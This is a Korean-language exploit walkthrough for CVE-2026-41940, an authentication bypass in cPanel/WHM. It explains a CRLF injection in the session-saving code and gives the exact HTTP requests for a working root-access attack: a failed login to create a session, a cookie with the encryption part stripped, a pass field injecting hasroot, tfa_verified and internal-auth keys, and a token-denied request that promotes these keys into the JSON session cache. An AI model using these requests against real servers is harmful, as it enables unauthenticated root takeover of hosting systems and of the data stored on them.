
CVE-2026-41940에 대한 익스플로잇으로, cPanel/WHM의 인증 우회 취약점으로, 세션 주입 및 JSON 캐시 승격을 통해 인증되지 않은 공격자가 루트 액세스 권한을 얻을 수 있습니다.
CVE-2026-41940은 현재 지원되는 모든 버전의 cPanel 및 WHM에 영향을 미치는 치명적인 인증 우회 취약점입니다. 인증되지 않은 공격자가 인증을 우회하여 루트 수준 액세스(WHM) 또는 사용자 수준 액세스(cPanel)를 획득할 수 있습니다.
이 취약점은 Cpanel/Session.pm의 두 가지 주요 문제에서 비롯됩니다:
saveSession의 CRLF 주입: saveSession 함수는 세션 파일을 디스크에 쓰기 전에 입력을 제대로 검증하지 못했습니다. 특히 pass 필드에서 개행 문자(\n)를 제거하지 못했습니다.pass 필드는 일반적으로 세션별 비밀키(ob)를 사용하여 암호화됩니다. 그러나 세션 쿠키에 ob 부분(쉼표 뒤의 부분)이 포함되지 않으면 인코딩이 건너뛰어지고 pass 값이 평문으로 기록됩니다.악용은 여러 단계로 이루어집니다:
실패한 로그인 시도를 보내 디스크에 세션 파일 생성을 트리거합니다.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=anything
서버는 whostmgrsession 쿠키(예: whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4...)로 응답합니다.
세션 쿠키를 사용하되 ob 부분(쉼표와 그 뒤의 모든 내용)을 제거한 상태로 다른 요청을 보냅니다. pass 필드에 개행 문자를 사용하여 원하는 세션 키를 주입합니다.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded
user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149
ob 부분이 없기 때문에 cpsrvd는 pass 값을 인코딩하지 않고 기록합니다. 주입된 개행 문자로 인해 이후의 줄들이 원시 세션 파일에서 별도의 키-값 쌍으로 해석됩니다.
cPanel은 세션에 JSON 캐시를 사용합니다. 원시 주입은 텍스트 파일에만 존재합니다. 이를 "활성화"하려면 cPanel이 원시 파일을 다시 읽고 JSON 캐시를 업데이트하도록 강제해야 합니다. 이는 Cpanel::Session::Modify를 사용하는 엔드포인트에서 "Token Denied" 오류를 트리거하여 수행할 수 있습니다.
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
URL에 보안 토큰이 없으면 do_token_denied가 트리거되며, 이는 Cpanel::Session::Modify를 사용하여 token_denied 횟수를 업데이트합니다. Modify는 (캐시를 우회하여) 원시 파일을 읽은 다음 원시 파일과 JSON 캐시를 모두 기록하므로, 주입된 키를 JSON 캐시의 최상위 수준으로 효과적으로 승격시킵니다.
이제 세션은 cPanel의 관점에서 완전히 "인증된" 상태입니다. successful_internal_auth_with_timestamp 키는 /etc/shadow 검사를 우회합니다.
GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
[TOKEN]은 세션의 cp_security_token 필드에서 얻을 수 있으며, 이는 종종 "Token Denied" 응답에서 반환되거나 세션 쿠키 동작을 검사하여 찾을 수 있습니다.
tfa_verified=1: 이중 인증(Two-Factor Authentication)을 우회합니다.hasroot=1: WHM에서 루트 권한을 부여합니다.successful_internal_auth_with_timestamp=[TIMESTAMP]: 시스템 shadow 파일에 대한 실제 비밀번호 검증을 우회합니다.user=root: 세션 사용자를 root로 설정합니다.